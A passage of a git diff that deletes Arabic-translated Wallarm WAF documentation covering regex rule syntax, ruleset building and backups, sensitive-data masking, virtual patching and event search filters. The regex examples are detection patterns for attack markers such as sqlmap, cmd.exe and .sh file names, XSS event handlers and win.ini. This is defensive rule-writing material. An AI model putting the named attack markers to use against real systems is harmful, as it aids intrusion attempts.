`[cC]`) - * `[a-z]` لتطابق واحد من الأحرف اللاتينية الصغيرة - * `[A-Z]` لتطابق واحد من الأحرف اللاتينية الكبيرة - * `[0-9]` لتطابق واحد من الأرقام - * `[a-zA-Z0-9[.]]` لتطابق واحد من الأحرف اللاتينية الصغيرة، أو الأحرف اللاتينية الكبيرة، أو الأرقام، أو النقطة - - الأحرف المنطقية: - - * `~` هو مساوٍ لـ NOT. يجب وضع التعبير المعكوس والحرف في `()`,
      على سبيل المثال: `(~(a))` - * `|` هو مساوٍ لـ OR - * `&` هو مساوٍ لـ AND - - الأحرف لتحديد حدود السلسلة: - - * `^` لبداية السلسلة - * `$` لنهاية السلسلة - - المعدلات: - - * `*` ل0 أو أكثر من التكرارات للتعبير العادي السابق - * `+` ل1 أو أكثر من التكرارات للتعبير العادي السابق - * `?` ل0 أو 1 من التكرارات للتعبير العادي السابق - * `{m}` لـ `m` التكرارات من التعبير العادي السابق - * `{m,n}` لـ `m` إلى `n` التكرارات من التعبير العادي السابق; تجاهل `n` يحدد حداً علوياً لا نهائياً - - الأحرف التي تعمل مع التفاصيل: - - * `^.*$` مساوٍ لـ `^.+$` (القيم الفارغة لا تتطابق مع `^.*$`) - * `^.?$`, `^.{0,}$`, `^.{0,n}$` مساوٍ لـ `^.+$` - - تدعم مؤقتا: - - * الأصناف مثل `\W` لما لا يكون ألفبيا، `\w` لما هو ألفبي، `\D` لأي أرقام غير-عشرية، `\d` لأي عشريات، `\S` لما لا يكون مساحات بيضاء، `\s` لما يكون مساحات بيضاء - - لا تدعم صيغة: - - * تعليمات أكتالية ثلاثية الأرقام `\NNN`, `\oNNN`, `\ONNN` - * `\cN` تمرير الأحرف التحكم عبر `\c` (على سبيل المثال، `\cC` لـ CTRL+C) - * `\A` لبداية السلسلة - * `\z` لنهاية السلسلة - * `\b` قبل أو بعد أحرف السلسلة عند نهايته - * `??`, `*?`, `+?` المعدلات الكسولة - * الظروف - -**اختبار التعابير العادية** - -لاختبار التعبير العادي، يمكنك استخدام أداة **cpire** المساعدة على Debian أو Ubuntu المدعومة: - -1. أضف مستودع Wallarm: - - === "Debian 10.x (buster)" - ```bash - sudo apt update - sudo apt -y install dirmngr - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node buster/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` - === "Debian 11.x (bullseye)" - ```bash - sudo apt update - sudo apt -y install dirmngr - curl -fSsL https://repo.wallarm.com/wallarm.gpg | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/wallarm.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/wallarm.gpg - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` - === "Ubuntu 18.04 LTS (bionic)" - ```bash - sudo apt update - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` - === "Ubuntu 20.04 LTS (focal)" - ```bash - sudo apt update - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` - === "Ubuntu 22.04 LTS (jammy)" - ```bash - sudo apt update - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node jammy/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -2. تثبيت أداة **cpire** المساعدة: - - ```bash - sudo apt -y install libcpire-utils - ``` -3. تشغيل أداة **cpire** المساعدة: - ```bash - cpire-runner -r '' - ``` -4. أدخل القيمة للتحقق مما إذا كانت تتطابق مع التعبير العادي. ستقوم الأداة بإرجاع النتيجة: - * `0` إذا كانت القيمة تتطابق مع التعبير العادي - * `FAIL` إذا كانت القيمة لا تتطابق مع التعبير العادي - * رسالة خطأ إذا كان التعبير العادي غير صالح - - !!! warning "تفاصيل التعامل مع الرمز `\`" - إذا كان التعبير يشمل `\`، يرجى الهرب منه بـ `[]` و `\` (على سبيل المثال، `[\\]`). - -**أمثلة على التعابير العادية المضافة عبر واجهة Wallarm Console** - -* لتطابق أي سلسلة تشمل /.git - - ``` - /[.]git - ``` -* لتطابق أي سلسلة تشمل .example.com - - ``` - [.]example[.]com - ``` -* لتطابق أي سلسلة تنتهي بـ /.example.*.com حيث `*` يمكن أن تكون أي رمز يتكرر أي عدد من المرات - - ``` - /[.]example[.].*[.]com$ - ``` -* لتطابق جميع العناوين IP باستثناء 1.2.3.4 و 5.6.7.8 - - ``` - ^(~((1[.]2[.]3[.]4)|(5[.]6[.]7[.]8)))$ - ``` -* لتطابق أي سلسلة تنتهي بـ /.example.com.php - - ``` - /[.]example[.]com[.]php$ - ``` -* لتطابق أي سلسلة تشمل sqlmapبـ الأحرف الصغيرة والكبيرة: sqLmAp, SqLMap, إلخ - - ``` - [sS][qQ][lL][mM][aA][pP] - ``` -* لتطابق أي سلسلة تشمل قيمة واحدة أو عدة قيم: admin\\.exe, admin\\.bat, admin\\.sh, cmd\\.exe, cmd\\.bat, cmd\\.sh - - ``` - (admin|cmd)[\\].(exe|bat|sh) - ``` -* لتطابق أي سلسلة تشمل قيمة واحدة أو عدة قيم: onmouse مع أحرف صغيرة وكبيرة, onload مع أحرف صغيرة وكبيرة, win\\.ini, prompt - - ``` - [oO][nN][mM][oO][uU][sS][eE]|[oO][nN][lL][oO][aA][dD]|win[\\].ini|prompt - ``` -* لتطابق أي سلسلة تبدأ بـ `Mozilla` ولكن لا تحتوي على السلسلة `1aa875F49III` - - ``` - ^(Mozilla(~(.*1aa875F49III.*)))$ - ``` -* لتطابق أي سلسلة بـ واحدة من القيم: `python-requests/`, `PostmanRuntime/`, `okhttp/3.14.0`, `node-fetch/1.0` - - ``` - ^(python-requests/|PostmanRuntime/|okhttp/3.14.0|node-fetch/1.0) - ``` - -## دورة حياة المجموعة القاعدية - -تُشكل جميع القواعد المنشأة مجموعة قاعدية مخصصة. يعتمد العقدة Wallarm على المجموعة القاعدية المخصصة أثناء تحليل الطلبات الواردة. - -لا تسري تغييرات المجموعة القاعدية المخصصة على الفور. يتم تطبيق التغييرات على عملية تحليل الطلب فقط بعد اكتمال **بناء** المجموعة القاعدية المخصصة و **تحميلها إلى العقدة الفاصلة**. - -### بناء المجموعة القاعدية المخصصة - -إضافة قاعدة جديدة، أو حذف أو تغيير القواعد الحالية في Wallarm Console → **القواعد** تطلق بناء المجموعة القاعدية المخصصة. خلال عملية البناء، تتم تحسين القواعد وتجميعها في تنسيق معتمد للعقدة الفاصلة. يستغرق عملية بناء المجموعة القاعدية المخصصة عادة من بضع ثوان لعدد صغير من القواعد إلى ما يصل إلى ساعة للأشجار القاعدية المعقدة. - -يتم عرض حالة بناء المجموعة القاعدية المخصصة والوقت المتوقع لاكتمالها في واجهة Wallarm Console. إذا لم يكن هناك بناء جاري، فإن الواجهة تعرض تاريخ البناء الأخير المكتمل. - -![حالة البناء](../../images/user-guides/rules/build-rules-status.png) - -### التحميل إلى العقدة الفاصلة - -يتم تحميل بناء المجموعة القاعدية المخصصة إلى العقدة الفاصلة أثناء تزامن العقدة الفاصلة وسحابة Wallarm. بشكل افتراضي، يتم إطلاق تزامن العقدة الفاصلة وسحابة Wallarm كل 2-4 دقائق. [المزيد من التفاصيل حول تكوين تزامن العقدة الفاصلة وسحابة Wallarm →](../../admin-en/configure-cloud-node-synchronization-en.md) - -تتم تسجيل حالة تحميل المجموعة القاعدية المخصصة إلى العقدة الفاصلة في ملف `/var/log/wallarm/syncnode.log` أو `/opt/wallarm/var/log/wallarm/syncnode-out.log` [اعتماداً على طريقة تثبيت العقدة](../../admin-en/configure-logging.md). - -تتلقى جميع عقد Wallarm المتصلة بحساب Wallarm نفسه مجموعة متماثلة من القواعد الافتراضية والمخصصة لترشيح حركة المرور. لا يزال بإمكانك تطبيق قواعد مختلفة لتطبيقات مختلفة باستخدام معرفات التطبيقات المناسبة أو معلمات طلب HTTP فريدة مثل الرؤوس، معلمات سلسلة الاستعلام، إلخ. - -### النسخ الاحتياطي والاستعادة - -لحماية نفسك من القواعد التي تم تكوينها بطريق الخطأ أو حذفها، يمكنك الاحتفاظ بنسخة احتياطية من مجموعة القواعد المخصصة الحالية لديك. - -هناك الخيارات التالية لنسخ القاعدة الاحتياطي: - -* إنشاء نسخة احتياطية تلقائية بعد كل [بناء مجموعة قاعدية مخصصة](#custom-ruleset-building). عدد النسخ الاحتياطية التلقائية محدود إلى 7: لكل يوم عندما تغير القواعد عدة مرات، يتم الاحتفاظ فقط بالنسخة الاحتياطية الأخيرة. -* إنشاء نسخة احتياطية يدوية في أي وقت. عدد النسخ الاحتياطية اليدوي يقتصر على 5 بشكل افتراضي. إذا كنت بحاجة إلى المزيد، اتصل بفريق [دعم فني من Wallarm](mailto:support@wallarm.com). - -يمكنك: - -* الوصول إلى النسخ الاحتياطية الحالية: في قسم **القواعد**، انقر على **النسخ الاحتياطية**. -* إنشاء نسخة احتياطية جديدة يدويا: في نافذة **النسخ الاحتياطية**، انقر فوق **إنشاء نسخة احتياطية**. -* تعيين اسم ووصف للنسخة الاحتياطية اليدوية وتحريرها في أي لحظة. - - !!! info "تسمية النسخ الاحتياطية التلقائية" - يتم تسمية النسخ الاحتياطية التلقائية بواسطة النظام ولا يمكن تسميتها. - -* التحميل من النسخة الاحتياطية الموجودة: انقر على **تحميل** للنسخة الاحتياطية المطلوبة. عند التحميل من النسخة الاحتياطية، يتم حذف تكوين القاعدة الحالي واستبداله بالتكوين من النسخة الاحتياطية. -* حذف النسخة الاحتياطية. - - ![القواعد - إنشاء نسخة احتياطية](../../images/user-guides/rules/rules-create-backup.png) - -!!! warning "قيود تعديل القاعدة" - لا يمكنك إنشاء أو تعديل القواعد حتى تكتمل عملية إنشاء النسخة الاحتياطية أو تحميلها من النسخة الاحتياطية. - -## مكالمات API للحصول على القواعد - -للحصول على القواعد المخصصة، يمكنك [الاتصال بـ API Wallarm مباشرة](../../api/request-examples.md#get-all-configured-rules). diff --git a/docs/latest-ar/user-guides/rules/sensitive-data-rule.md b/docs/latest-ar/user-guides/rules/sensitive-data-rule.md deleted file mode 100644 index fed2591c59..0000000000 --- a/docs/latest-ar/user-guides/rules/sensitive-data-rule.md +++ /dev/null @@ -1,39 +0,0 @@ -[img-masking]: ../../images/user-guides/rules/sensitive-data-rule.png -[rule-creation-options]: ../../user-guides/events/analyze-attack.md#analyze-requests-in-an-event -[request-processing]: ../../user-guides/rules/request-processing.md - -# إخفاء البيانات الحساسة - -من الضروري أن تظل البيانات الحساسة في طلباتك آمنة داخل بنيتك التحتية وألا تُنقل إلى أي خدمة خارجية بما في ذلك [Wallarm Cloud](../../about-wallarm/overview.md#how-wallarm-works). يتم تحقيق هذا الهدف باستخدام [نموذج المسؤولية المشتركة](../../about-wallarm/shared-responsibility.md): من جانبها، لا تنقل Wallarm أي بيانات باستثناء تلك المتعلقة بالطلبات الخبيثة، مما يجعل احتمالية تعرض البيانات الحساسة للخطر ضئيلة جدًا - ومن جانبك، يُتوقع إخفاء البيانات الحساسة مما يضمن بشكل إضافي أن حقول المعلومات المحمية لن تغادر محيط الأمان الخاص بك. - -توفر Wallarm قاعدة **إخفاء البيانات الحساسة** لتهيئة إخفاء البيانات. يرسل عقدة Wallarm البيانات التالية إلى Wallarm Cloud: - -* الطلبات المتسلسلة مع الهجمات -* عدادات نظام Wallarm -* إحصائيات النظام: استهلاك وحدة المعالجة المركزية، استخدام الرام، إلخ. -* إحصائيات نظام Wallarm: عدد الطلبات المعالجة عبر NGINX، إحصائيات Tarantool، إلخ. -* معلومات حول طبيعة الحركة التي تحتاجها Wallarm للكشف بشكل صحيح عن بنية التطبيق - -تقطع قاعدة **إخفاء البيانات الحساسة** القيمة الأصلية لنقطة الطلب المحددة قبل إرسال الطلب إلى وحدة ما بعد التحليل وWallarm Cloud. هذه الطريقة تضمن أن البيانات الحساسة لا يمكن أن تتسرب خارج البيئة الموثوقة. - -قد يؤثر ذلك على عرض الهجمات، التحقق من الهجوم النشط (التهديد)، والكشف عن هجمات القوة الغاشمة. - -## إنشاء وتطبيق القاعدة - -لضبط وتطبيق قناع البيانات: - -1. انتقل إلى Wallarm Console → **القواعد** → **إضافة قاعدة**. -1. في **إذا كان الطلب هو**, [وصف](rules.md#rule-branches) النطاق لتطبيق القاعدة عليه. -1. في **ثم**, اختر **إخفاء البيانات الحساسة**. -1. في **في هذا الجزء من الطلب**, حدد [نقاط الطلب](request-processing.md) التي يجب قطع قيمتها الأصلية. -1. انتظر حتى [اكتمال تجميع القاعدة](rules.md#ruleset-lifecycle). - -## مثال: إخفاء قيمة ملف تعريف الارتباط - -لنفترض أن تطبيقك المتاح على نطاق `example.com` يستخدم ملف تعريف الارتباط `PHPSESSID` للتوثيق الخاص بالمستخدم وتريد منع الوصول إلى هذه المعلومات للموظفين الذين يستخدمون Wallarm. - -للقيام بذلك، اضبط قاعدة **إخفاء البيانات الحساسة** كما هو معروض في اللقطة. - ---8<-- "../include/waf/features/rules/request-part-reference.md" - -![إخفاء البيانات الحساسة][img-masking] \ No newline at end of file diff --git a/docs/latest-ar/user-guides/rules/vpatch-rule.md b/docs/latest-ar/user-guides/rules/vpatch-rule.md deleted file mode 100644 index 07c99db491..0000000000 --- a/docs/latest-ar/user-guides/rules/vpatch-rule.md +++ /dev/null @@ -1,47 +0,0 @@ -[img-vpatch-example1]: ../../images/user-guides/rules/vpatch-rule-1.png -[img-vpatch-example2]: ../../images/user-guides/rules/vpatch-rule-2.png -[img-regex-example1]: ../../images/user-guides/rules/regex-rule-1.png -[rule-creation-options]: ../../user-guides/events/analyze-attack.md#analyze-requests-in-an-event -[request-processing]: ../../user-guides/rules/request-processing.md - -# التصحيح الافتراضي - -في الحالات التي يكون فيها من المستحيل إصلاح ثغرة [أمنية](../../user-guides/vulnerabilities.md) حرجة في كود تطبيقك أو تثبيت التحديثات الضرورية بسرعة، يمكنك إنشاء تصحيح افتراضي لحظر جميع الطلبات أو الطلبات المحددة إلى نقاط النهاية التي قد تتيح استغلال هذه الثغرات الأمنية. سيحظر التصحيح الافتراضي الطلبات حتى في وضعيات المراقبة والحظر الآمنة، باستثناء تلك الصادرة من عناوين IP التي تم إدراجها في القائمة البيضاء. - -توفر Wallarm القواعد التالية لإنشاء تصحيح افتراضي: - -* **إنشاء قاعدة تصحيح افتراضي** - تسمح بإنشاء تصحيح افتراضي يحظر الطلبات التي تحتوي في جزئها المحدد على أحد علامات الهجوم [المعروفة](../../attacks-vulns-list.md)، مثل SQLi، SSTi، RCE، وغيرها. أيضًا، يمكنك اختيار **أي طلب** لحظر طلبات معينة دون أي علامات هجوم. -* **إنشاء قاعدة مؤشر هجوم مبني على التعبيرات النظامية** مع تحديد خيار **التصحيح الافتراضي** - يسمح بإنشاء تصحيح افتراضي يحظر الطلبات التي تحتوي على علامات هجوم الخاصة بك أو سببك الخاص للحظر (انظر [المثال](#blocking-all-requests-with-incorrect-x-authentication-header)) والتي يتم وصفها بالتعبيرات النظامية. التفاصيل حول العمل مع القاعدة المبنية على التعبير النظامي موصوفة [هنا](../../user-guides/rules/regex-rule.md). - -## إنشاء وتطبيق القاعدة - ---8<-- "../include/waf/features/rules/rule-creation-options.md" - -## أمثلة القواعد - -### حظر طلبات محددة لنقطة نهاية مختارة - -لنقل إن قسم الشراء عبر الإنترنت في تطبيقك الذي يُمكن الوصول إليه عبر الرابط `example.com/purchase` يتوقف عن العمل عند معالجة معامل الاستعلام `refresh`. قبل إصلاح الخلل، تحتاج إلى حظر الطلبات التي تؤدي إلى التوقف عن العمل. - -للقيام بذلك، قم بضبط قاعدة **إنشاء تصحيح افتراضي** كما هو معروض في اللقطة: - -![تصحيح افتراضي لأي نوع طلب][img-vpatch-example2] - -### حظر محاولات استغلال ثغرة أمنية تم اكتشافها ولكن لم يتم إصلاحها بعد - -لنقل إن التطبيق الخاص بك الذي يُمكن الوصول إليه عبر النطاق `example.com` قد اكتشف ثغرة أمنية لم يتم إصلاحها بعد: معامل `id` في التطبيق عرضة لهجمات حقن SQL. في غضون ذلك، تم ضبط عقدة تصفية Wallarm على وضع المراقبة، ومع ذلك، تحتاج إلى حظر محاولات استغلال الثغرة الأمنية فورًا. - -للقيام بذلك، قم بضبط قاعدة **إنشاء تصحيح افتراضي** كما هو معروض في اللقطة: - -![تصحيح افتراضي لنوع طلب معين][img-vpatch-example1] - -### حظر جميع الطلبات ذات الرأسية `X-AUTHENTICATION` غير صحيحة - ---8<-- "../include/waf/features/rules/rule-vpatch-regex.md" - -## استدعاءات API للتصحيحات الافتراضية - -لإنشاء تصحيحات افتراضية، يمكنك استدعاء API Wallarm مباشرةً. ضع في اعتبارك الأمثلة: - -* [إنشاء التصحيح الافتراضي لحظر جميع الطلبات المرسلة إلى `/my/api/*`](../../api/request-examples.md#create-the-virtual-patch-to-block-all-requests-sent-to-myapi) -* [إنشاء التصحيح الافتراضي لمعرف كيان تطبيق محدد لحظر جميع الطلبات المرسلة إلى `/my/api/*`](../../api/request-examples.md#create-the-virtual-patch-for-a-specific-application-instance-id-to-block-all-requests-sent-to-myapi) \ No newline at end of file diff --git a/docs/latest-ar/user-guides/search-and-filters/custom-report.md b/docs/latest-ar/user-guides/search-and-filters/custom-report.md deleted file mode 100644 index 94e3af7152..0000000000 --- a/docs/latest-ar/user-guides/search-and-filters/custom-report.md +++ /dev/null @@ -1,29 +0,0 @@ -[img-custom-report]: ../../images/user-guides/search-and-filters/custom-report.png - -[link-using-search]: use-search.md - -# إنشاء تقرير مخصص - -يمكنك تصفية الأحداث ثم تصدير النتائج إلى تقرير PDF أو CSV. سترسل Wallarm التقرير المخصص إلى العنوان المحدد. - -PDF عبارة عن تقرير غني بصريًا، جيد لتحليل البيانات وعرضها. يتضمن هذا التقرير: - -* ملخصات للهجمات والثغرات والحوادث -* معلومات مفصلة عن الأحداث - -يتضمن CSV تفاصيل كل حدث يطابق الفلتر وهو جيد للأغراض التقنية. يمكن استخدامه لإنشاء لوحات القيادة، والحصول على عناوين IP المهاجمة الفريدة، وإنتاج قائمة بالمضيفين/التطبيقات التي تعرضت للهجوم على واجهات البرمجة التطبيقية، إلخ. - -قد يتضمن تقرير CSV عدة ملفات CSV، واحد لكل نوع من الأحداث - هجوم، حادث، ثغرة. يحتوي كل CSV على حد أقصى من 10,000 حدث، مرتبة حسب الأحداث الأكثر حدوثًا. - -## إنشاء تقرير - -1. في علامة التبويب **الهجمات**, [صفِّ الأحداث][link-using-search]. -1. انقر على **تقرير** واختر PDF أو CSV. -1. حدد بريد **الإرسال إلى**. - - ![نافذة إنشاء التقرير المخصص][img-custom-report] -1. انقر على **تصدير**. ستقوم Wallarm بإنشاء التقرير وإرساله عبر البريد الإلكتروني. - -## تنزيل تقرير PDF تم إنشاؤه مسبقًا - -تُحفظ آخر ثلاثة تقارير PDF بما في ذلك تلك [المُنشأة للثغرات](../vulnerabilities.md#downloading-vulnerability-report). إذا لزم الأمر، قم بتنزيلها من نافذة التصدير. \ No newline at end of file diff --git a/docs/latest-ar/user-guides/search-and-filters/use-search-vuln.md b/docs/latest-ar/user-guides/search-and-filters/use-search-vuln.md deleted file mode 100644 index 83dc7f01b8..0000000000 --- a/docs/latest-ar/user-guides/search-and-filters/use-search-vuln.md +++ /dev/null @@ -1,64 +0,0 @@ -# البحث عن الثغرات والفلاتر - -في قسم **الثغرات**، توفر Wallarm طرقاً مريحة للبحث بين الثغرات المكتشفة. - -يمكنك استخدام: - -* **الفلاتر** لتحديد معايير التصفية -* **حقل البحث** لإدخال استعلامات البحث بصفات ومُعدِّلات تشبه اللغة البشرية - -القيم المحددة في الفلاتر يتم تكرارها تلقائيًا في حقل البحث، والعكس صحيح. - -## الفلاتر - -الفلاتر المتاحة مُقدمة في واجهة Wallarm من خلال لوحة الفلاتر التي يتم توسيعها وطيها باستخدام زر **الفلتر**. - -![فلاتر الثغرات في واجهة الاستخدام](../../images/user-guides/search-and-filters/filters-vuln.png) - -عند تحديد قيم لفلاتر مختلفة، ستلبي النتائج جميع تلك الشروط. عند تحديد قيم مختلفة لنفس الفلتر، ستلبي النتائج أيا من تلك الشروط. - -## حقل البحث - -يقبل حقل البحث استعلامات بصفات ومُعدِّلات تشبه اللغة البشرية مما يجعل إرسال الاستعلامات حدسياً. على سبيل المثال: - -* `rce high`: للبحث عن جميع الثغرات [تنفيذ الأكواد عن بُعد](../../attacks-vulns-list.md#remote-code-execution-rce) ذات مستوى الخطورة العالي -* `ptrav medium`: للبحث عن جميع الثغرات [اختراق مسار النظام](../../attacks-vulns-list.md#path-traversal) ذات مستوى الخطورة المتوسط - -عند تحديد قيم لمُعاملات مختلفة، ستلبي النتائج جميع تلك الشروط. عند تحديد قيم مختلفة لنفس المُعامل، ستلبي النتائج أيا من تلك الشروط. - -!!! info "ضبط قيمة الصفة على NOT" - لنفي قيمة الصفة، يُرجى استخدام `!` قبل اسم الصفة أو المُعدِّل. على سبيل المثال: `rce !low` لإظهار جميع الثغرات التنفيذ عن بُعد ما عدا تلك ذات مستوى الخطورة المنخفض. - -فيما يلي قائمة بالصفات والمُعدِّلات المتاحة للاستخدام في استعلامات البحث. - -### البحث حسب نوع الثغرة - -حدد في سلسلة البحث: - - -* `sqli`: للبحث عن ثغرات [حقن SQL][al-sqli]. -* `xss`: للبحث عن ثغرات [البرمجيات النصية عبر المواقع][al-xss]. -* `rce`: للبحث عن ثغرات [تنفيذ الأوامر نظام التشغيل][al-rce]. -* `ptrav`: للبحث عن ثغرات [اختراق مسار النظام][al-path-traversal]. -* `crlf`: للبحث عن ثغرات [حقن CRLF][al-crlf]. -* `nosqli`: للبحث عن ثغرات [حقن NoSQL][al-nosqli]. -* `xxe`: للبحث عن ثغرات [كيان XML الخارجي][al-xxe]. -* `ldapi`: للبحث عن ثغرات [حقن LDAP][al-ldapi]. -* `ssti`: للبحث عن [حقن قوالب الخادم][ssti-injection]. -* `infoleak`: للبحث عن الثغرات من نوع [تسريب المعلومات][al-infoleak]. -* `vuln_component`: للبحث عن الثغرات المرتبطة بـ[المكونات][al-vuln-comp] لتطبيقاتك التي قد تكون قديمة أو تحتوي على أخطاء تؤثر على الأمان. -* `redir`: للبحث عن ثغرات [إعادة توجيه مفتوحة][al-open-redirect]. -* `idor`: للبحث عن ثغرات [انتهاك تفويض مستوى الكائن (BOLA)][al-bola]. -* `ssrf`: للبحث عن ثغرات [تزييف طلب الخادم جانبي][al-ssrf]. -* `csrf`: للبحث عن ثغرات [تزوير طلب موقع عبر الأماكن][al-csrf]. -* `weak_auth`: للبحث عن ثغرات [JWT ضعيف][al-weak-jwt]. - -يمكن تحديد اسم الثغرة بأحرف كبيرة أو صغيرة: تعتبر `SQLI`، `sqli`، و`SQLi` صحيحة بشكل متساو. - -### البحث حسب مستوى الخطورة - -حدد مستوى الخطورة في سلسلة البحث: - -* `low`: مستوى خطورة منخفض. -* `medium`: مستوى خطورة متوسط. -* `high`: مستوى خطورة عالي. \ No newline at end of file diff --git a/docs/latest-ar/user-guides/search-and-filters/use-search.md b/docs/latest-ar/user-guides/search-and-filters/use-search.md deleted file mode 100644 index 504641b84c..0000000000 --- a/docs/latest-ar/user-guides/search-and-filters/use-search.md +++ /dev/null @@ -1,60 +0,0 @@ -[al-sqli]: ../../attacks-vulns-list.md#sql-injection -[al-xss]: ../../attacks-vulns-list.md#crosssite-scripting-xss -[al-rce]: ../../attacks-vulns-list.md#remote-code-execution-rce -[al-brute-force]: ../../attacks-vulns-list.md#brute-force-attack -[al-path-traversal]: ../../attacks-vulns-list.md#path-traversal -[al-crlf]: ../../attacks-vulns-list.md#crlf-injection -[al-open-redirect]: ../../attacks-vulns-list.md#open-redirect -[al-nosqli]: ../../attacks-vulns-list.md#nosql-injection -[al-logic-bomb]: ../../attacks-vulns-list.md#data-bomb -[al-xxe]: ../../attacks-vulns-list.md#attack-on-xml-external-entity-xxe -[al-virtual-patch]: ../../attacks-vulns-list.md#virtual-patch -[al-forced-browsing]: ../../attacks-vulns-list.md#forced-browsing -[al-ldapi]: ../../attacks-vulns-list.md#ldap-injection -[al-port-scanner]: ../../attacks-vulns-list.md#resource-scanning -[al-infoleak]: ../../attacks-vulns-list.md#information-exposure -[al-vuln-component]: ../../attacks-vulns-list.md#vulnerable-component -[al-overlimit]: ../../attacks-vulns-list.md#overlimiting-of-computational-resources -[email-injection]: ../../attacks-vulns-list.md#email-injection -[ssi-injection]: ../../attacks-vulns-list.md#ssi-injection -[invalid-xml]: ../../attacks-vulns-list.md#unsafe-xml-header -[ssti-injection]: ../../attacks-vulns-list.md#serverside-template-injection-ssti -[overlimit-res]: ../../attacks-vulns-list.md#overlimiting-of-computational-resources - -# بحث الأحداث والمرشحات - -تقدم Wallarm طرقاً مريحة للبحث عن الأحداث المكتشفة (الهجمات والحوادث). في أقسام **الهجمات** و**الحوادث** من وحدة تحكم Wallarm ، تتوفر طرق البحث التالية: - -* **المرشحات** لاختيار معايير التصفية -* **حقل البحث** لإدخال استعلامات البحث مع الصفات والمعدلات المشابهة للغة الإنسانية - -تتم تكرار القيم المعينة في المرشحات تلقائيًا في حقل البحث ، والعكس صحيح. - -يمكن حفظ أي استعلام بحث أو مزيج من المرشحات عن طريق النقر على **حفظ الاستعلام**. - -## المرشحات - -تتم عرض المرشحات المتاحة في وحدة تحكم Wallarm بأشكال متعددة: - -* لوحة المرشحات التي يتم توسيعها وطيها باستخدام الزر **تصفية** -* مرشحات سريعة لاستبعاد أو إظهار الأحداث فقط مع قيم المعلمة المحددة - -![المرشحات في واجهة المستخدم](../../images/user-guides/search-and-filters/filters.png) - -عند تحديد قيم المرشحات المختلفة، ستفي النتائج بكل هذه الشروط. عند تحديد قيم مختلفة لنفس المرشح، ستفي النتائج بأي من هذه الشروط. - -## حقل البحث - -يقبل حقل البحث استعلامات مع الصفات والمعدلات المشابهة للغة الإنسانية مما يجعل تقديم الاستعلامات غريزي. على سبيل المثال: - -* `هجمات xss`: للبحث عن كل [هجمات البرمجة عبر المواقع][al-xss] -* `هجمات اليوم`: للبحث عن كل الهجمات التي حدثت اليوم -* `xss 14/12/2020`: للبحث عن جميع الاشتباهات ، والهجمات ، والحوادث من [البرمجة عبر المواقع][al-xss] في 14 ديسمبر 2020 -* `p:xss 14/12/2020`: للبحث عن جميع الشكوك ، والهجمات ، والحوادث من جميع الأنواع داخل معلمة الطلب الخاصة بـ xss (أي `http://localhost/?xss=attack-here`) بتاريخ 14 ديسمبر 2020 -* `هجمات 9-12/2020`: للبحث عن كل الهجمات من سبتمبر إلى ديسمبر 2020 -* `rce /catalog/import.php`: للبحث عن كل الهجمات والحوادث [RCE][al-rce] على مسار `/catalog/import.php` منذ الأمس - -عند تحديد قيم معايير مختلفة، ستفي النتائج بكل هذه الشروط. عند تحديد قيم مختلفة لنفس المعيار، ستفي النتائج بأي من هذه الشروط. - -!!! info "ضبط قيمة الصفة على NOT" -لإلغاء قيمة الصفة ، يرجى استخدام `!` قبل اسم الصفة أو المعدل. على سبيل المثال: `هجمات !ip:111.111.111.111` لإظهار جميع الهجمات التي نشأت من أي عنوان IP باستثناء `111.111.111.111`. diff --git a/docs/latest-ar/user-guides/settings/account.md b/docs/latest-ar/user-guides/settings/account.md deleted file mode 100644 index 66f2f945fb..0000000000 --- a/docs/latest-ar/user-guides/settings/account.md +++ /dev/null @@ -1,56 +0,0 @@ -[link-2fa-android-app]: https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2&hl=en -[link-2fa-ios-app]: https://apps.apple.com/app/google-authenticator/id388497605 - -[img-profile]: ../../images/user-guides/settings/profile.png -[img-2fa-page]: ../../images/user-guides/settings/2fa-page.png - -# التحقق من ملفك الشخصي - -للاطلاع على بيانات وإعدادات ملفك الشخصي، انتقل إلى **الإعدادات** → **تبويب الملف الشخصي**. - -في ملفك الشخصي، يمكنك التحقق من معلومات حسابك: - -* البريد الإلكتروني -* الدور المُسند [role](users.md#user-roles) - **مدير**، **محلل**، أو **قراءة فقط** -* الاسم ورقم الهاتف -* تنسيق التاريخ والوقت المفضل للإستخدام في نظام Wallarm -* الأمان: تاريخ آخر تغيير لبيانات كلمة المرور وحالة المصادقة الثنائية. قد تكون بعض العناصر غير متاحة إذا كنت تستخدم مصادقة SSO. -* تاريخ تسجيل الدخول - -يمكنك الضغط على زر *تسجيل الخروج* للخروج من حسابك في Wallarm. - -![نظرة عامة على الملف الشخصي][img-profile] - -إذا لزم الأمر، يمكنك تعديل معلومات الحساب في نفس الصفحة. - -## تغيير كلمة المرور - -!!! معلومات "غير متاح إذا كنت تستخدم SSO" - إذا كنت تستخدم مصادقة SSO، فإن مصادقة البريد الإلكتروني/كلمة المرور غير متاحة ولا يمكنك استخدام أو تغيير كلمة المرور. ستكون قسم تغيير كلمة المرور غير متاح. - -1. اضغط على زر *تغيير*. -1. في النموذج الذي يظهر، أدخل كلمة المرور الحالية، كلمة المرور الجديدة، وتأكيد كلمة المرور الجديدة. -1. اضغط على زر *تغيير كلمة المرور* - -## تمكين المصادقة الثنائية - -يمكنك استخدام تطبيق *Google Authenticator* (أو التطبيقات المشابهة التي تدعم TOTP) لتمكين المصادقة الثنائية. - -!!! معلومات "غير متاح إذا كنت تستخدم SSO" - إذا كنت تستخدم مصادقة SSO، لا يمكن تمكين المصادقة 